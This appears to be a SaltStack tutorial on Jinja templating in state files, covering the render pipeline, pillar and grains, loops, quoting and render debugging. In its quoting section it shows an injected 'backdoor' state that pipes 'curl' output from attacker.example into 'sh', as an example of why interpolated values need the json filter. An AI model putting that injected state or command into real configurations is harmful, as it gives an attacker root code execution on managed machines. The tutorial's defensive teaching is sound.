Jinja & templating in states

Data-driven, portable SLS.

A mail-merge letter has two layers. The body never changes: same offer, same signature, same footer for everyone on the list. The blanks do change: name, account number, balance, filled in as each page prints. A Salt state file works the same way. The YAML skeleton stays put (YAML is the indentation-based text format Salt states are written in, where nesting is shown by how far a line is pushed to the right), and Jinja, the Python templating engine that Ansible and Flask also use, fills in the blanks for each minion. (A minion is the Salt agent running on a managed machine. The master is the control server that stores your files and hands out work.) One file can install apache2 on Ubuntu and httpd on Rocky Linux, size a setting from data the master holds for that one host, and stamp out a user account for every entry in a list, with no copy-paste and no per-host branch in Git.

The mechanics matter more than the syntax. Two stations sit on a bench. The first presses a stencil and hands you a sheet of plain text. The second reads that sheet and decides whether it makes sense. Every SLS file (short for SaLt State, the format Salt uses to declare what a machine should look like) goes through both, always in that order. The default pipeline is jinja|yaml. Jinja runs first and emits text. That text goes to the YAML parser, which builds the data structure the state compiler executes. Neither station knows the other exists. Jinja will cheerfully emit a line indented two spaces too far, and YAML will be the one that complains about it.

Inside the Jinja pass you get a small fixed set of variables for free. pillar is per-machine data the master compiles and hands out, like a sealed envelope addressed to exactly one minion: passwords, tuning numbers, which accounts belong on which box. grains are facts the minion reports about itself, the way a machine fills in its own intake form: operating system family, CPU count, hostname. salt gives you every execution module, callable inline as salt['module.function'](args). Then there is opts (the running configuration), saltenv (the environment being rendered, usually base), and sls and slspath (the name and the directory of the file being rendered, handy for building salt:// paths that survive a rename).

Two renderers, in a fixed order

You can change the pipeline per file with a shebang on line one, the same #! trick a shell script uses to name its interpreter. #!jinja|yaml is the implicit default. #!jinja|json is worth knowing about when YAML's whitespace rules are fighting you. #!py skips templating entirely and lets you write a Python run() function that returns the state dictionary. #!jinja|yaml|gpg decrypts secrets that were encrypted with GPG (GNU Privacy Guard, the standard command-line encryption tool) on the way through. The fleet-wide default lives in the renderer: setting in the master and minion configuration files, and it ships as jinja|yaml.

Two consequences fall out of that ordering, and both of them bite people. First, everything Jinja does happens at render time, before the first state runs. You cannot branch on the outcome of a state defined earlier in the same file, because by the time states execute, Jinja has finished and gone. Runtime decisions need runtime tools: unless and onlyif on the state itself, or a requisite such as onchanges (a requisite is a line that ties one state to another, so Salt knows to run this one only when that one changed). The state compiler evaluates all of those while the run is happening. Second, whatever Jinja emits has to be valid YAML. When a loop produces a misaligned line, the error quotes a line number in generated text you have never laid eyes on.

A ten-minute lab to render against

You cannot learn templating by reading about it, so build something to render against. The official bootstrap script puts a master and a minion on one virtual machine in about a minute. Notice the explicit salt-key -a at the end. A master trusts a minion only after you accept that minion's public key by hand, the way a building superintendent hands over a key only after checking who is asking.

# master + minion on one box: -M also installs the master, -A points the minion at it
curl -fsSL https://github.com/saltstack/salt-bootstrap/releases/latest/download/bootstrap-salt.sh -o bootstrap-salt.sh
sudo sh bootstrap-salt.sh -M -A 127.0.0.1 -i web1 stable 3007
 
# the master trusts nothing until you say so, one key at a time
sudo salt-key -L
sudo salt-key -a web1 -y
sudo salt 'web1' test.ping
 
# which Jinja am I actually running? filters and features differ by version
sudo salt --versions-report

 *  INFO: Distribution: Ubuntu 24.04
 *  INFO: Installing minion
 *  INFO: Running install_ubuntu_stable_deps()
 *  INFO: Running install_ubuntu_stable()
 *  INFO: Salt installed!
 
Accepted Keys:
Denied Keys:
Unaccepted Keys:
web1
Rejected Keys:
 
The following keys are going to be accepted:
Unaccepted Keys:
web1
Key for minion web1 accepted.
 
web1:
    True
 
Salt Version:
          Salt: 3007.1
 
Python Version:
        Python: 3.10.14 (main, Mar 21 2024, 16:24:04) [GCC 11.2.0]
 
Dependency Versions:
        Jinja2: 3.1.4
       msgpack: 1.0.7
        PyYAML: 6.0.1
 
Salt Package Information:
  Package Type: onedir

Resist auto_accept: True while you are labbing, because that habit follows people into production. It tells the master to sign any key that turns up, so any machine that can reach port 4506 enrols itself. An enrolled minion can then pull every file the master serves and receives whatever pillar data is aimed at the name it claimed, all of it handed to a Salt process running as root.

Where a template renders is a security boundary

Minions download SLS files from the master's file server and render them locally. That is the reason grains are available at all: the template runs on the machine it describes. Pillar is the mirror image. Pillar SLS files render on the master, keyed to the minion ID that the master checked against an accepted key, and the compiled result ships to that one minion over an encrypted channel. Same Jinja, same filters, different machine, wildly different blast radius.

That asymmetry decides who pays for your mistakes. A slow salt['cmd.run'] in a state file wastes a second on each minion. The identical line in a file under pillar_roots executes as root on the master, once per minion, every time pillar compiles. salt-ssh is a third case worth holding in your head. For agentless targets (machines with no Salt agent installed, driven over plain SSH) it collects grains from the box, compiles the whole state run on the master, then packs the compiled result plus every referenced salt:// file into a tarball and ships that to the target to be executed.

Feeding the template: pillar and grains

{{ ... }} interpolates a value into the output. {% ... %} runs a statement and prints nothing by itself. For pillar, reach for salt['pillar.get']('nginx:max_body_size', '16m') instead of pillar['nginx']['max_body_size']. The colon walks down through nested dictionaries, and the second argument is a default. That default is not politeness. Salt renders SLS with Jinja's StrictUndefined, so touching a key that does not exist raises an error and kills the whole render rather than quietly producing an empty string. Grains read the same way, through salt['grains.get']('os_family') or the plain grains['num_cpus'].

# /srv/pillar/top.sls -- which minions receive which pillar data
base:
  'web*':
    - nginx
    - users
 
# /srv/pillar/nginx.sls
nginx:
  max_body_size: 16m
  keepalive_requests: 100
 
# /srv/pillar/users.sls
users:
  - name: asha
    groups: [sudo, docker]
  - name: brin
    shell: /bin/zsh

# push the new pillar, then read back exactly what the master compiled for web1
sudo salt 'web1' saltutil.refresh_pillar
sudo salt 'web1' pillar.items
 
# and the facts the minion asserts about itself
sudo salt 'web1' grains.item os_family num_cpus

web1:
    True
web1:
    ----------
    nginx:
        ----------
        keepalive_requests:
            100
        max_body_size:
            16m
    users:
        |_
          ----------
          groups:
              - sudo
              - docker
          name:
              asha
        |_
          ----------
          name:
              brin
          shell:
              /bin/zsh
web1:
    ----------
    num_cpus:
        4
    os_family:
        Debian

One state file, two templates

Two different documents get templated below, and confusing them is a rite of passage. The SLS file is *always* rendered. A file delivered by file.managed is rendered only if you ask for it with - template: jinja, and then - defaults: supplies fallback values while - context: supplies the real ones and overrides the fallbacks. Same engine, two documents, two moments: the SLS renders when the state run compiles, the config file renders as file.managed writes it out.

{%- set cfg = salt['pillar.get']('nginx', {}) %}
 
{%- if grains['os_family'] == 'RedHat' %}
# this block only exists in the rendered text on RedHat-family minions
epel:
  pkg.installed:
    - name: epel-release
{%- endif %}
 
nginx:
  pkg.installed: []
 
/etc/nginx/conf.d/tuning.conf:
  file.managed:
    - source: salt://nginx/files/tuning.conf.jinja
    - template: jinja          # render the delivered file too, same engine
    - user: root
    - group: root
    - mode: '0644'             # quoted: bare 0644 is octal, so YAML reads it as 420
    - defaults:
        max_body: 16m
        keepalive: 100
    - context:
        host: {{ grains['id'] }}
        cpus: {{ grains['num_cpus'] }}
        max_body: {{ cfg.get('max_body_size', '16m') }}
        keepalive: {{ cfg.get('keepalive_requests', 100) }}
    - require:
      - pkg: nginx
 
nginx-svc:
  service.running:
    - name: nginx
    - enable: True
    - watch:
      - file: /etc/nginx/conf.d/tuning.conf

# managed by Salt on {{ host }} ({{ cpus }} CPU) -- rendered by file.managed on the minion
server_tokens off;
client_max_body_size {{ max_body }};
keepalive_requests {{ keepalive }};

pillar, grains and salt are in scope inside that config template too, even with no context block at all. Pass the values explicitly anyway. The context block is the template's argument list, and a template whose inputs are visible in the state file is one you can still reason about six months later.

sudo salt 'web1' state.apply nginx

web1:
----------
          ID: nginx
    Function: pkg.installed
      Result: True
     Comment: The following packages were installed/updated: nginx
     Started: 10:02:11.418312
    Duration: 9182.402 ms
     Changes:
              ----------
              nginx:
                  ----------
                  new:
                      1.24.0-2ubuntu7.1
                  old:
----------
          ID: /etc/nginx/conf.d/tuning.conf
    Function: file.managed
      Result: True
     Comment: File /etc/nginx/conf.d/tuning.conf updated
     Started: 10:02:20.611904
    Duration: 44.712 ms
     Changes:
              ----------
              diff:
                  New file
----------
          ID: nginx-svc
    Function: service.running
        Name: nginx
      Result: True
     Comment: Service restarted
     Started: 10:02:20.702311
    Duration: 1043.554 ms
     Changes:
              ----------
              nginx:
                  True
 
Summary for web1
------------
Succeeded: 3 (changed=3)
Failed:    0
------------
Total states run:     3
Total run time:  10.271 s

Now change the data and prove the render moved before you touch the box. Result: None in a test=True run means "this would change".

# raise the upload limit in pillar, refresh, then dry-run
sudo sed -i 's/max_body_size: 16m/max_body_size: 64m/' /srv/pillar/nginx.sls
sudo salt 'web1' saltutil.refresh_pillar
sudo salt 'web1' state.apply nginx test=True

web1:
    True
web1:
----------
          ID: nginx
    Function: pkg.installed
      Result: True
     Comment: All specified packages are already installed
     Started: 10:09:44.113206
    Duration: 12.451 ms
     Changes:
----------
          ID: /etc/nginx/conf.d/tuning.conf
    Function: file.managed
      Result: None
     Comment: The file /etc/nginx/conf.d/tuning.conf is set to be changed
              Note: No changes made, actual changes may
              be different due to other states.
     Started: 10:09:44.126001
    Duration: 21.309 ms
     Changes:
              ----------
              diff:
                  ---
                  +++
                  @@ -1,4 +1,4 @@
                   # managed by Salt on web1 (4 CPU) -- rendered by file.managed on the minion
                   server_tokens off;
                  -client_max_body_size 16m;
                  +client_max_body_size 64m;
                   keepalive_requests 100;
----------
          ID: nginx-svc
    Function: service.running
        Name: nginx
      Result: None
     Comment: Service is set to be restarted
     Started: 10:09:44.147918
    Duration: 1.213 ms
     Changes:
 
Summary for web1
------------
Succeeded: 3 (unchanged=2)
Failed:    0
------------
Total states run:     3
Total run time:  34.973 ms

Loops, unique IDs, and quoting what you did not write

{% for %} is the workhorse. It turns a pillar list into N state blocks, one per entry. The loop variable has to appear in the state ID, because Salt's YAML loader refuses duplicate keys and answers a repeated ID with found conflicting ID 'create_user'. Be glad it does. Two blocks sharing one ID would silently fight over the same account.

{%- for user in salt['pillar.get']('users', []) %}
create_{{ user['name'] }}:
  user.present:
    - name: {{ user['name'] | json }}
    - groups: {{ user.get('groups', []) | json }}
    - createhome: True
    - shell: {{ user.get('shell', '/bin/bash') | json }}
{%- endfor %}

The | json filter is the part to steal. Anything you interpolate into YAML that you did not personally type is a value that can rewrite the document's shape. Say a pillar entry arrives from somewhere else: an ext_pillar backend (an external pillar source, such as a configuration database), a Git repo another team can push to, a field a webhook wrote. If its shell value contains a newline followed by more YAML, the unquoted render emits this, which is perfectly valid YAML with a brand new state bolted on, running as root.

create_asha:
  user.present:
    - name: asha
    - groups: ['sudo', 'docker']
    - createhome: True
    - shell: /bin/bash
backdoor:
  cmd.run:
    - name: curl -s http://attacker.example/x | sh

With | json, that same value renders as "/bin/bash\nbackdoor:\n cmd.run:...", one JSON string on one line, which YAML reads as a single scalar. The injection becomes an ugly shell path and nothing else. Salt ships yaml_encode and yaml_dquote for the same job. While you are quoting: quote file modes too, since bare 0644 is an octal number to YAML and arrives as 420, and on, yes and no are booleans.

Whitespace is the other classic trap. A {% ... %} tag leaves its newline behind unless you trim it with {%- and -%}. Stray blank lines are harmless to YAML. Misaligned indentation inside a loop is fatal. If you would rather stop thinking about it on every line, turn trimming on globally where SLS files render, which is the minion.

# state SLS files render on the minion, so this setting belongs in the minion config
jinja_sls_env:
  trim_blocks: True
  lstrip_blocks: True
 
# jinja_env does the same for non-SLS templates (file.managed and friends).
# Set both on the master too: pillar and reactor SLS render there.
# sudo systemctl restart salt-minion

Debugging a render

Three commands cover nearly every templating bug, and each stops the pipeline at a different point. The first halts after the Jinja pass and hands you raw text. The second runs both passes and prints the compiled data in a form you can diff. The third computes what would change on the box without changing it. salt-call --local reads the state tree from local disk instead of asking a master, which works here because the lab box is both.

# 1. what did Jinja emit, before YAML ever saw it? indentation bugs live here
sudo salt 'web1' slsutil.renderer salt://users/init.sls default_renderer='jinja'
 
# 2. what did both passes produce? machine-readable, so you can diff it
sudo salt-call --local state.show_sls users --out=yaml
 
# 3. what would actually change on the box?
sudo salt 'web1' state.apply users test=True

web1:
 
    create_asha:
      user.present:
        - name: "asha"
        - groups: ["sudo", "docker"]
        - createhome: True
        - shell: "/bin/bash"
    create_brin:
      user.present:
        - name: "brin"
        - groups: []
        - createhome: True
        - shell: "/bin/zsh"
 
local:
  create_asha:
    __env__: base
    __sls__: users
    user:
    - name: asha
    - groups:
      - sudo
      - docker
    - createhome: true
    - shell: /bin/bash
    - order: 10000
    - present
  create_brin:
    __env__: base
    __sls__: users
    user:
    - name: brin
    - groups: []
    - createhome: true
    - shell: /bin/zsh
    - order: 10001
    - present
 
web1:
----------
          ID: create_asha
    Function: user.present
        Name: asha
      Result: None
     Comment: User asha set to be added
     Started: 11:14:02.771903
    Duration: 1.902 ms
     Changes:
----------
          ID: create_brin
    Function: user.present
        Name: brin
      Result: None
     Comment: User brin set to be added
     Started: 11:14:02.774116
    Duration: 1.573 ms
     Changes:
 
Summary for web1
------------
Succeeded: 2 (unchanged=2)
Failed:    0
------------
Total states run:     2
Total run time:   3.475 ms

The middle command is the one that saves you during a refactor. --out=yaml prints the compiled high data, so you can capture it before a template change and after it, then diff the two. If they are identical, your rewrite changed nothing Salt will execute, which is the only definition of a safe refactor that means anything here.

sudo salt-call --local state.show_sls users --out=yaml > /tmp/before.yaml
# ... rewrite the loop, pull values into a lookup, whatever the refactor is ...
sudo salt-call --local state.show_sls users --out=yaml > /tmp/after.yaml
diff -u /tmp/before.yaml /tmp/after.yaml && echo 'compiled state identical'

compiled state identical

Now break it on purpose. Swap the safe pillar lookup in nginx/init.sls for a direct subscript with a typo in the key, and apply it for real.

# line 26 of the context block now reads:
#     max_body: {{ pillar['nginx']['max_body_siz'] }}
sudo salt 'web1' state.apply nginx

web1:
    Data failed to compile:
----------
    Rendering SLS 'base:nginx' failed: Jinja variable 'dict object' has no attribute 'max_body_siz'; line 26
 
---
[...]
        max_body: 16m
        keepalive: 100
    - context:
        host: {{ grains['id'] }}
        cpus: {{ grains['num_cpus'] }}
        max_body: {{ pillar['nginx']['max_body_siz'] }}    <======================
        keepalive: {{ cfg.get('keepalive_requests', 100) }}
    - require:
      - pkg: nginx
 
nginx-svc:
[...]
---
ERROR: Minions returned with non-zero exit code

Read that failure carefully, because the interesting part is what did not happen. nginx was not misconfigured. Nothing ran at all. A render error aborts the entire SLS, and during a highstate (the full set of states the top file assigns to that minion) it takes down every state in that file for that machine. salt['pillar.get']('nginx:max_body_size', '16m') would have rendered 16m and carried on. Which behaviour you want is a genuine choice you make per key. A default keeps the fleet converging through missing data. A hard failure stops a half-configured box from going live. For a tuning number, take the default. For the path to a TLS certificate, fail loudly.

One detail in that output decides which tool you reach for. A failure in the *Jinja* pass quotes your source file, arrow and all, exactly as printed above, and the line number is a line in the file sitting in your editor. A failure in the *YAML* pass quotes the rendered text instead, because that is the buffer the parser was reading, so its line 7 may have nothing to do with line 7 of your file. That is the whole reason slsutil.renderer with default_renderer='jinja' exists.

Keep the logic out of the template

Two limits shape good Salt templating. The first is render-time side effects, described in the callout above. A lookup like salt['cmd.run']('rpm -q something') looks innocent and turns into an unaudited command channel that fires far more often than you would guess. Grains exist for facts, pillar exists for data, and both are gathered already.

The second is that templates neither compose nor test. Past a few dozen lines of Jinja, an SLS file becomes a program written in the worst language available to you: no functions, no types, no unit tests, and a debugger that consists of printing the file. The community discipline is blunt. Data in pillar, logic in execution modules, Jinja as glue. If you are three conditionals deep, what you want is a custom execution module or a lookup table, not more Jinja.

The move in between is to lift data out of the template into a file the template loads. Salt's serializer extension gives you {% import_yaml 'nginx/defaults.yaml' as defaults %}, which parses a plain YAML file into a dictionary at render time and keeps your defaults readable by people who do not write Jinja. Pair it with {% from 'nginx/map.jinja' import nginx with context %}, and note the with context on the end: leave it off and the imported file cannot see salt, pillar or grains, so you get an undefined error out of a file that looks perfectly correct. That import, wrapped around a per-OS lookup table built with grains.filter_by, is the two-pass rendering you now understand dressed up as a convention. It is called map.jinja, it is the heart of every Salt formula (a formula is a reusable bundle of states published as a Git repo), and it is next.

Try this

Work through “Keep the logic out of the template” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: render-time code runs somewhere, and pillar renders on the master. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related